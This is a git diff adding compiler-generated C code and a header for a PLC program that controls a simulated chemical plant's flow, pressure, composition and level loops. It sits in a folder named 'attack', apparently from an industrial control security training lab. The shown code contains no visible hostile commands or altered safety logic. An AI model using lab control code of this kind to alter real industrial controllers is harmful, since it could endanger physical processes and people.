__SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL 